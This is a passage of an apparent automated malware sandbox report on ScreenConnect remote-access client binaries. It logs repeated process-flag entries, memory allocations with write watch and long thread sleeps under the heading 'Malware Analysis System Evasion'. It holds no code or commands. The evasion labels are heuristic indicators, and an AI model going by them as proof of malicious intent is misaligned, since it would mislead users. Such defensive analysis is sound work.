Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 25D1BC00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Memory allocated: 25D356B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 1470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 1AEA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: D60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 2870000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 26C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 1BC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 1E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Memory allocated: 1C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 1150000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Memory allocated: 1ADE0000 memory reserve \| memory write watch

Contains long sleeps (>= 3 min)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599309	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599061	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598451	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597932	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597777	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597665	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597560	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597014	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595702	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595474	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595238	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595050	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594934	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594172	Jump to behavior
